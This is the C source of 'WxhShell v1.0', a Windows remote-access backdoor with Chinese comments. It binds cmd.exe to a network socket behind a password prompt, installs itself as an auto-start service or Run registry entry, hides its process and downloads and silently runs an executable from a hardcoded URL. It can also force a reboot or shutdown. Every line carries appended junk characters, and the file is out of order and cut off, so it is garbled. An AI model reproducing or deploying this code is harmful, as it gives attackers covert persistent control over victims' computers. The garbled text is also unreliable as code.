    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ou8@7S  
    if(Boot(SHUTDOWN)) 0I~xD9l9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x:@HtTX  
    else { yv4hH4Io  
    closesocket(wsh); ldi'@^  
    ExitThread(0); y=5s~7]  
    } x1Z?x,-D"  
    break; BE}lzn=sF  
    } uK}k]x\z  
  // 获取shell duT2:~H2  
  case 's': { ihf5`mk/$  
    CmdShell(wsh); 3vNoD  
    closesocket(wsh); |2{y'?,  
    ExitThread(0); Mq6.!j  
    break; }_gCWz-5?  
  } N;<<-`i  
  // 退出 vL\wA_z"<H  
  case 'x': { XSn^$$S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GfL}f9  
    CloseIt(wsh); r$R(4q:  
    break; (Dq3e9fX  
    } \W}?4kz  
  // 离开 !=|3^A  
  case 'q': { 8$xg\l0?KK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hz%#&E  
    closesocket(wsh); 6-QTqb?U;N  
    WSACleanup(); 1th|n  
    exit(1); aL+k1v[m  
    break; cz&Qoyh{;  
        } mi%d([)%<  
  } YNHn# 98\  
  } &Q(Q/]U~  
8WfF: R;  
  // 提示信息 EJb"/oLla  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Aj SIM.  
} ~*THL0]~  
  } ,? <jue/bd  
C&Ow*~  
  return; li%=<?%T  
} YeYFPi#  
h*h+VM  
// shell模块句柄 byyz\>yAVq  
int CmdShell(SOCKET sock) FyQ  
{ iV(B0z  
STARTUPINFO si; Qh%7RGh_  
ZeroMemory(&si,sizeof(si)); ?fCLiK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u5$\E]+ _  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q8P| ]  
PROCESS_INFORMATION ProcessInfo; =n i&*&  
char cmdline[]="cmd"; >umcpkp- h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )Xl/|YD  
  return 0; -Ufd+(   
} y<8)mw  
>bEH&7+@_'  
// 自身启动模式 \SA5@.W  
int StartFromService(void) cC&R~h]|  
{ DZRk K3  
typedef struct HiILJyb  
{ =36vsps=  
  DWORD ExitStatus; | z$ba:u5  
  DWORD PebBaseAddress; 9%> H}7=  
  DWORD AffinityMask; &}YB!6k h^  
  DWORD BasePriority; 6./h0kD`  
  ULONG UniqueProcessId; (s,Nq~O  
  ULONG InheritedFromUniqueProcessId; bx!Sy0PUJ  
}   PROCESS_BASIC_INFORMATION;  ZRsDn  
@X\Sh>H  
PROCNTQSIP NtQueryInformationProcess; ('OPW&fRG  
LN" bGe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bx j6/a7Xd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o T5?*3f  
aq0J }4U  
  HANDLE             hProcess; )}]<o |'  
  PROCESS_BASIC_INFORMATION pbi; AL&}WbUC  
c{V0]A9VF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +\\*Iy'xK  
  if(NULL == hInst ) return 0; Apa)qRJd  
:&#hjeltt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -r/#20Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); el;^cMY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ajs<a(,6  
-TjYQ  
  if (!NtQueryInformationProcess) return 0; eLL> ThMyW  
yL_-w/a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $6Nm`[V  
  if(!hProcess) return 0;  ]i=-/  
zf5s\w.4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _+wv3? c"  
R]m`v: 9  
  CloseHandle(hProcess); !M)!  
iG6 ^s62z7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /^P^K  
if(hProcess==NULL) return 0; ;!Ojb  
T,`'qZ>  
HMODULE hMod; MDGcK/$')f  
char procName[255]; --Dw8FR9  
unsigned long cbNeeded; 0A9x9l9Wd  
}sd-X`lZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xAjLn*d|N  
vObP(@0AM  
  CloseHandle(hProcess); j<R,}nmD3\  
va95/(  
if(strstr(procName,"services")) return 1; // 以服务启动 %R7Q`!@8  
b+[9) B)a?  
  return 0; // 注册表启动 />FrMz8;(  
} V`pTl3  
*<Fz1~%*  
// 主模块 B[S.6 "/H  
int StartWxhshell(LPSTR lpCmdLine) ~i fq_Ag.  
{ &!N5}N&  
  SOCKET wsl; )[~ #j6  
BOOL val=TRUE; \#m;L/D  
  int port=0; g4oFUyk{  
  struct sockaddr_in door; &:S_ewJK7  
N+"Y@X yg  
  if(wscfg.ws_autoins) Install(); JihI1C  
iL/(WAB_od  
port=atoi(lpCmdLine); >XSe  
\-#~)LB]M  
if(port<=0) port=wscfg.ws_port; ]BO{Q+?d2  
L<1"u.3Z`}  
  WSADATA data; 9bMM-~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {QM;%f  
dt',)i8D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A0V"5syY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wkdd&Nw;  
  door.sin_family = AF_INET; F$ZWQ9&5U0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PxfeU2^{0  
  door.sin_port = htons(port); lqF{Y<l  
o~NeS|a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l(v$+  
closesocket(wsl); l#\z3"b  
return 1; !6@xX08z  
} h$f/NSct2  
Mpk^e_9`<  
  if(listen(wsl,2) == INVALID_SOCKET) { wf=#w}f  
closesocket(wsl); uZ]B?Z%y#  
return 1; bhOyx  
} 5y(irbk7  
  Wxhshell(wsl); YRG+I GX  
  WSACleanup(); ::j'+_9  
bsuUl*l)  
return 0; p87s99  
T 2x~fiM  
} eG"iJ%I  
q&<#)#+  
// 以NT服务方式启动 V~Tjz%<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :0CR=]WM  
{ R`76Ae`R8  
DWORD   status = 0; d;m Q=k 1  
  DWORD   specificError = 0xfffffff; p? iJ'K  
c~5#)AXMT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N5}vy$t_P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1.p?P] .  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~9kvC&/{[  
  serviceStatus.dwWin32ExitCode     = 0; SjtGU47$!  
  serviceStatus.dwServiceSpecificExitCode = 0; Rb#Z'1D'G  
  serviceStatus.dwCheckPoint       = 0; {;n?c$r  
  serviceStatus.dwWaitHint       = 0; Ook3B  
9`4h"9dO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,\+tvrR4X  
  if (hServiceStatusHandle==0) return; Gxi;h=J2)>  
JEdtj1v{O  
status = GetLastError(); (PsA[>F  
  if (status!=NO_ERROR) #7lkj:j4  
{ fOE:~3Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i#kRVua/  
    serviceStatus.dwCheckPoint       = 0; 66p_d'U  
    serviceStatus.dwWaitHint       = 0; D'fP2?3FK  
    serviceStatus.dwWin32ExitCode     = status; g#9w5Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; pqMv YF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nI2}E  
    return; 0WF(Ga/o  
  } O<6/0ub&+h  
l>~:lBO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X2 M<DeF:  
  serviceStatus.dwCheckPoint       = 0; puZ<cV e/  
  serviceStatus.dwWaitHint       = 0; iL|*g3`-f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l2VO=RDiW  
} ;cp-jY_U  
O3bK>9<K  
// 处理NT服务事件,比如:启动、停止 `Jm{K*&8Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oxO}m7 ULH  
{ oq8~PTw  
switch(fdwControl) 6Wc eDY  
{ j"94hWb  
case SERVICE_CONTROL_STOP: 1G.+)*:3  
  serviceStatus.dwWin32ExitCode = 0; QAygr4\X^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2-j|q6m5  
  serviceStatus.dwCheckPoint   = 0; Qi=rhN`  
  serviceStatus.dwWaitHint     = 0; M?[lpH3  
  { JO :m: M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lmH!I )5  
  } rt^z#2$  
  return; *ivbk /8  
case SERVICE_CONTROL_PAUSE: Zr}`W \  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,J}lyvkd  
  break; M8KfC!  
case SERVICE_CONTROL_CONTINUE: / sH*if  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jvu,W4  
  break; ~{^A&#P  
case SERVICE_CONTROL_INTERROGATE: 1 _5[5K^  
  break; C>T6{$xkC  
}; <>j, Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *zX<`E  
} =_^g]?5i  
X){F^1CT{  
// 标准应用程序主函数 et9 c<'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hp,T(D|  
{ g:[&]o} :9  
6O tv[8^}  
// 获取操作系统版本 JSGUl4N  
OsIsNt=GetOsVer(); N..9N$+(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ya:H{#%6  
l' "<  
  // 从命令行安装 Nz!AR$  
  if(strpbrk(lpCmdLine,"iI")) Install(); _F@FcFG1Z*  
,x{5,K.yWq  
  // 下载执行文件 h(G&X9*  
if(wscfg.ws_downexe) { \GMudN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /23v]HEPy  
  WinExec(wscfg.ws_filenam,SW_HIDE); dcHkb,HsO  
} >$R-:>~zN  
jDXmre?  
if(!OsIsNt) { _ORW'(:Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 tmb0zuJ&C!  
HideProc(); da I-*  
StartWxhshell(lpCmdLine); t:M>&r:BL  
} 0HNe44oI+D  
else wV5<sH__  
  if(StartFromService()) oK(ua  
  // 以服务方式启动 QQ!,W':  
  StartServiceCtrlDispatcher(DispatchTable); kQ'G+Kw~F  
else YmF`7W  
  // 普通方式启动 Z<&: W8n  
  StartWxhshell(lpCmdLine); TzK?bbgr!  
HH+rib'u  
return 0; xPb`CY7  
} C{2 UPG4x  
^' [|  
Q7}w Y  
VJ=!0v  
=========================================== IgFz[)  
9R ugkGy  
R0/~) P  
ZT^PL3j+  
[Xz7.<0#U  
Mm/GI a  
" O$&p<~  
S:1! )7  
#include <stdio.h> ,9A[o`b  
#include <string.h> PMrvUM62  
#include <windows.h> Nm; ka&'  
#include <winsock2.h> v WhtClJ3  
#include <winsvc.h> {?m',sG;&  
#include <urlmon.h> 5@v!wms  
<?Lj!JGX  
#pragma comment (lib, "Ws2_32.lib") }'@*Olj  
#pragma comment (lib, "urlmon.lib") ~?L. n:wu  
i, )kI  
#define MAX_USER   100 // 最大客户端连接数 F'*{Fk h  
#define BUF_SOCK   200 // sock buffer ;c;;cJc!  
#define KEY_BUFF   255 // 输入 buffer z ,ledTl  
a(J~:wgd  
#define REBOOT     0   // 重启 oa9T3gQ?  
#define SHUTDOWN   1   // 关机 \7/xb{z|  
DAvAozM  
#define DEF_PORT   5000 // 监听端口 9k *'5(D4S  
}RyYzm2  
#define REG_LEN     16   // 注册表键长度 |UlScUI,  
#define SVC_LEN     80   // NT服务名长度 E4{^[=}  
W0nRUAo[  
// 从dll定义API I`y}Ky<q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FijzO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ] xH `  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L^0jyp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?EpY4k8,  
3ea6g5kX  
// wxhshell配置信息 sxuYwQ  
struct WSCFG { J7l1-  
  int ws_port;         // 监听端口 ZM)a4h,kcm  
  char ws_passstr[REG_LEN]; // 口令 TI*uNS;-  
  int ws_autoins;       // 安装标记, 1=yes 0=no  UnO -?  
  char ws_regname[REG_LEN]; // 注册表键名 1$ l3-x  
  char ws_svcname[REG_LEN]; // 服务名 `Y(/G"]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ChBZGuO:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f|< *2Mk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t=yM}#r$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qQ|v~^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ey Cg *  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F5*Xx g}N  
,m:MI/ )p  
}; {WC{T2:8  
_y8)jD"  
// default Wxhshell configuration 7pGlbdS  
struct WSCFG wscfg={DEF_PORT, 0&w.QoZY(  
    "xuhuanlingzhe", :ox+WY  
    1, aIm\tPbb  
    "Wxhshell", 2?m'Dy'JE  
    "Wxhshell", my*/MC^O  
            "WxhShell Service", jmAWto}.  
    "Wrsky Windows CmdShell Service", l9SbuT$U  
    "Please Input Your Password: ", hx:x5L>  
  1, ^c-1w V` /  
  "http://www.wrsky.com/wxhshell.exe", >Ks|yNJ  
  "Wxhshell.exe" HZM&QZHx)`  
    }; 0_%u(?  
m"xw5aa>  
// 消息定义模块 jLZ~9FXF2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \a}%/_M\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ffSecoX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rt."P20T  
char *msg_ws_ext="\n\rExit."; Z!ub`coV[  
char *msg_ws_end="\n\rQuit."; 0h#' 3z<  
char *msg_ws_boot="\n\rReboot..."; Gh@QR`xxc  
char *msg_ws_poff="\n\rShutdown..."; c"fnTJXr79  
char *msg_ws_down="\n\rSave to "; M#2DI?S@  
Mb+cXdZb  
char *msg_ws_err="\n\rErr!"; Blf;_e~=[j  
char *msg_ws_ok="\n\rOK!"; j4Lf6aUOX  
y=q\1~]Z  
char ExeFile[MAX_PATH]; )TV'eq  
int nUser = 0; QDyL0l{C  
HANDLE handles[MAX_USER]; nC2A&n&>  
int OsIsNt; :}j{NM#  
J;G+6C$:  
SERVICE_STATUS       serviceStatus; zf6k%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :,:r  
` NcWy  
// 函数声明 #:2 36^xYS  
int Install(void); sH#UM(N  
int Uninstall(void); $0{c =r9  
int DownloadFile(char *sURL, SOCKET wsh); iGm[fxQ|  
int Boot(int flag); L%N|8P[  
void HideProc(void); \/'u(|G  
int GetOsVer(void); *R8q)Q  
int Wxhshell(SOCKET wsl); qM]eK\q 1  
void TalkWithClient(void *cs); up`!r;5-  
int CmdShell(SOCKET sock); {6A3?q  
int StartFromService(void); &s\w: 9In  
int StartWxhshell(LPSTR lpCmdLine); Lymy/9  
Ga$+x++'*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xgc@cwd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qifX7AXHr  
-Vw,9VCF  
// 数据结构和表定义 ,GGr@})  
SERVICE_TABLE_ENTRY DispatchTable[] = lS9rgq<n  
{ P b2exS(  
{wscfg.ws_svcname, NTServiceMain}, p]IF=~b  
{NULL, NULL} i!jx jP  
}; |WlWZ8]  
^qYJx  
// 自我安装 !SEg4z  
int Install(void) Svy bP&i|  
{ BEN=/ v  
  char svExeFile[MAX_PATH]; hcwKi  
  HKEY key; LbvnV~S  
  strcpy(svExeFile,ExeFile);  Wu9@Ecb  
yp_:] RE  
// 如果是win9x系统,修改注册表设为自启动 (B]rINY|  
if(!OsIsNt) { mq su8ti  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h0d;a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pf-k"7y  
  RegCloseKey(key); @'s^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fD]}&xc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WFULQQ*  
  RegCloseKey(key); j8L!miv6  
  return 0; eDgRYa9\  
    } vG69z&  
  } pjWqI 6,  
} LZ}C{M{=5A  
else { ( {5LB4  
9 }jF]P*Q  
// 如果是NT以上系统,安装为系统服务 >2,x#RQs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +|KnO  
if (schSCManager!=0) Ztr,v$  
{ AWc7TW  
  SC_HANDLE schService = CreateService YrL:!\p.  
  ( ,QdUfM  
  schSCManager, {-09,Q4[&  
  wscfg.ws_svcname, Bc`jkO.q  
  wscfg.ws_svcdisp, z*"zXL C  
  SERVICE_ALL_ACCESS, uL\ B[<:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r|:i: ii  
  SERVICE_AUTO_START, SBg BZm}%  
  SERVICE_ERROR_NORMAL, 3g`uLA X>u  
  svExeFile, :q<8:,rP  
  NULL, :B6hYx  
  NULL, (Xi?Y/  
  NULL, YJ3aJ^m#E  
  NULL, #Huvn4x  
  NULL {+F/lN@  
  ); bM; ==W  
  if (schService!=0) -uHD| }  
  { @~qlSU&  
  CloseServiceHandle(schService); n&jfJgD&g  
  CloseServiceHandle(schSCManager); *?VbN}g2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q okgu$2  
  strcat(svExeFile,wscfg.ws_svcname); py6|uGN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =rMT1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nm_]2z O  
  RegCloseKey(key); 4siNY4i"  
  return 0; gu7mGHn-  
    } ryg1o=1v/  
  } bx_`S#*N  
  CloseServiceHandle(schSCManager); NiQ`,Q$B  
} ?| s1Cuc  
} [I^>ji0V  
imv[xBA(d  
return 1; <,$(,RX  
} vd6Y'Zk|F6  
0GK<l  
// 自我卸载 <Wn={1Ts"  
int Uninstall(void) 7F!_gj p  
{ : 9wW*Ix  
  HKEY key; w]J9Kv1)-  
CkKr@.dV  
if(!OsIsNt) { nlOM4fJ(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R@ N I  
  RegDeleteValue(key,wscfg.ws_regname); jCa%(2~iQ7  
  RegCloseKey(key); a ;WRTV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ACxOC2\n  
  RegDeleteValue(key,wscfg.ws_regname); B"rnSui  
  RegCloseKey(key); Ue^2H[zs-  
  return 0; =Yg36J4[  
  } O$%M.C'  
} [DpGL/Y.  
} G0 Q} 1  
else { ,5$V;|  
2oyTS*2u_&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kv{uf$X*ve  
if (schSCManager!=0) Y&!M#7/'J3  
{ ,7&`V=C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @ *P$4c  
  if (schService!=0) r2M Iw  
  { (&HAjB  
  if(DeleteService(schService)!=0) { pLjet~2}iJ  
  CloseServiceHandle(schService); ~47Bbom  
  CloseServiceHandle(schSCManager); >{?~cNO&  
  return 0; _:DnF  
  } ,#:*dl  
  CloseServiceHandle(schService); 6;6a.iZ  
  } qk VGa%^  
  CloseServiceHandle(schSCManager); PLD6Ug  
} QWz5iM  
} a$H*C(wL  
pESlBQ7{I  
return 1; =oQw?,eY  
} +y'V  
Y7(E<1Yx  
// 从指定url下载文件 ChO?Lm$y  
int DownloadFile(char *sURL, SOCKET wsh) uTTM%-DMHT  
{ })RT2zw}  
  HRESULT hr; 1henQiIO  
char seps[]= "/"; 8s(?zK\  
char *token; q_S`@2Dzz,  
char *file; S81Z\=eK  
char myURL[MAX_PATH]; +EK(r@eV  
char myFILE[MAX_PATH]; 5{/CqUIl  
XHU&ix{Od  
strcpy(myURL,sURL); hiO:VA  
  token=strtok(myURL,seps); A`_(L|~  
  while(token!=NULL) kzU;24"K  
  { U'(}emh}  
    file=token; /)fx(u#  
  token=strtok(NULL,seps); 3jR,lEJyj  
  } {,EOSta  
l,AK  
GetCurrentDirectory(MAX_PATH,myFILE); |:yQOq|  
strcat(myFILE, "\\"); k.=67L  
strcat(myFILE, file); a Mp*Ap  
  send(wsh,myFILE,strlen(myFILE),0); 7xz~%xC.  
send(wsh,"...",3,0); 9QE|p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #vh1QV!Ho  
  if(hr==S_OK) #!V [(/  
return 0; =5=D)x~  
else uis;S)+  
return 1; Pl^-]~  
Y*nzOD$  
} h<;kj#qbb  
nn>< k"  
// 系统电源模块 R-nC+)^  
int Boot(int flag) uMOm<kn  
{ %SORs(4  
  HANDLE hToken; 7 +A-S9P)  
  TOKEN_PRIVILEGES tkp; 3S='/^l  
w}n:_e  
  if(OsIsNt) { ]yu,YZ@7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L$zI_ z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !#cZ!  
    tkp.PrivilegeCount = 1; 18JhC*in  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ch-56   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9Br2}!Ny  
if(flag==REBOOT) { Cw;&{jY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8qwc]f$.w  
  return 0; DC S$d1  
} b(&~f@% |  
else { +LddW0h+=8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #:Z"V8n'  
  return 0; XgY( Vv  
} sX53(|?*  
  } hCRW0 I  
  else { pl62mp!  
if(flag==REBOOT) { [XFZ2'OO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k 1;,eB  
  return 0; [?TQ!l}8A  
} )US|&> o8  
else { 2{naSiaq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0_JbE  
  return 0; 7s:`]V%  
} }gi>Z  
} !M:m(6E1  
*]G&pmMs  
return 1; !1<x@%  
} <()xO(  
$s2Ty1  
// win9x进程隐藏模块 etF?,^)h=g  
void HideProc(void) \ZrLh,6f.  
{ ~N+lI\K  
/Z<"6g?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Dz, Fu:)  
  if ( hKernel != NULL ) .N~qpynY  
  { a(CZGIB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p '{ `Uvr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $t5 0<1  
    FreeLibrary(hKernel); v8g3]MVj3  
  } pJ7wd~wF*  
B.fLgQK0  
return; FxOhF03\=[  
} Bu?"b=B*  
DJgk"'  
// 获取操作系统版本 Gjuc"JR7  
int GetOsVer(void) AfvTStwr  
{ i gzISYC_  
  OSVERSIONINFO winfo; M52kau  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J{72%S  
  GetVersionEx(&winfo); .K^'Q|?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @ [_I|  
  return 1; A?Jm59{w  
  else b7fP)nb695  
  return 0; u#=Yv |9  
} HN>eS Y+  
%Fb"&F^7  
// 客户端句柄模块 oQ!}@CaN|  
int Wxhshell(SOCKET wsl) J)(H-xvV  
{ &rj6<b1A  
  SOCKET wsh; Ne/jvWWN  
  struct sockaddr_in client; /:dVW" A|  
  DWORD myID; :K{`0U&l5  
tF)K$!GR[  
  while(nUser<MAX_USER) Lc^nNUzPo  
{ $I_ 04k#t  
  int nSize=sizeof(client); [ d<|Cde  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HC w$v#  
  if(wsh==INVALID_SOCKET) return 1; %_+9y??  
KmV#% d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]OY6.m  
if(handles[nUser]==0) #m 3WZ3t$  
  closesocket(wsh); "d'xT/l "  
else Y%qhgzz?/  
  nUser++; sBp|Lo  
  } FsZM_0>/s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4s*P5w_'/  
Mr:*l`b_  
  return 0; lj%8(Xu  
} `(aU_r=  
4,f[D9|:  
// 关闭 socket E=gD{1,?  
void CloseIt(SOCKET wsh) [$?S9)Xd  
{ Kbx(^f12  
closesocket(wsh); Q3%a=ba)h  
nUser--; 9<<$uf.B  
ExitThread(0); 0<{/T*AU:  
} mquna"}N  
&dvJg  
// 客户端请求句柄 7=om /  
void TalkWithClient(void *cs) .^#{rk  
{ 'N='B<^;%  
eFXxkWR)  
  SOCKET wsh=(SOCKET)cs; -a3+C,I8g  
  char pwd[SVC_LEN]; fh$U"  
  char cmd[KEY_BUFF]; En6fmEn&;o  
char chr[1]; k}>l+_*+7  
int i,j; 05*_h0}  
'DsfKR^ s  
  while (nUser < MAX_USER) { &0f7>.y  
[k-7Kq  
if(wscfg.ws_passstr) { 8q7KqYu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <t]c'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EBzg<-?o  
  //ZeroMemory(pwd,KEY_BUFF); _KmpC>J+  
      i=0; eJ{"\c(  
  while(i<SVC_LEN) { ~'fa,XZ<  
BO[Q"g$Kon  
  // 设置超时 X_s;j5ur  
  fd_set FdRead; H#U{i  
  struct timeval TimeOut; i40r}?-  
  FD_ZERO(&FdRead); &:]_a?|*S  
  FD_SET(wsh,&FdRead); o)}b Fw  
  TimeOut.tv_sec=8; vo Q,K9  
  TimeOut.tv_usec=0; oBqP^uT>a|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fh v)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :;0?;dpO  
Vu`dEv L?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tP!sOvQ:  
  pwd=chr[0];  +KFK..  
  if(chr[0]==0xd || chr[0]==0xa) {  aSHZR  
  pwd=0; y#AY+ >  
  break; U YUIpe  
  } .NjdkHYR  
  i++; >4M_jC.  
    } N _pJE?  
q(.%f3(  
  // 如果是非法用户,关闭 socket `H/HLCt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +*0THol-  
} |&n dQ(!l  
AaTtY d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7M;Y#=sR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R~RY:[5?w  
~w]1QHA'f  
while(1) { ,eUMSg~P.7  
vo7 1T<K  
  ZeroMemory(cmd,KEY_BUFF); fil6w</L  
73}k[e7e  
      // 自动支持客户端 telnet标准   /Z2*>7HM8[  
  j=0; w5n>hz_5  
  while(j<KEY_BUFF) { nj7Ri=lyS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z/-%Eb]L1  
  cmd[j]=chr[0]; \ vJ*3H6  
  if(chr[0]==0xa || chr[0]==0xd) { vy|}\%*r~  
  cmd[j]=0; Bl`e+&b  
  break; 6w1:3~a  
  } Kyl(  
  j++; :L`z~/6  
    } 2~J|x+  
{7/6~\'/@  
  // 下载文件 b:O4d<+%  
  if(strstr(cmd,"http://")) { KMbBow3o*~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GUN<ZOYb=  
  if(DownloadFile(cmd,wsh)) *"zE,Bp"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  iI ^{OD  
  else +Z;0"'K'e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J.?p?-"  
  } _cGiuxf #  
  else { '.kbXw0}  
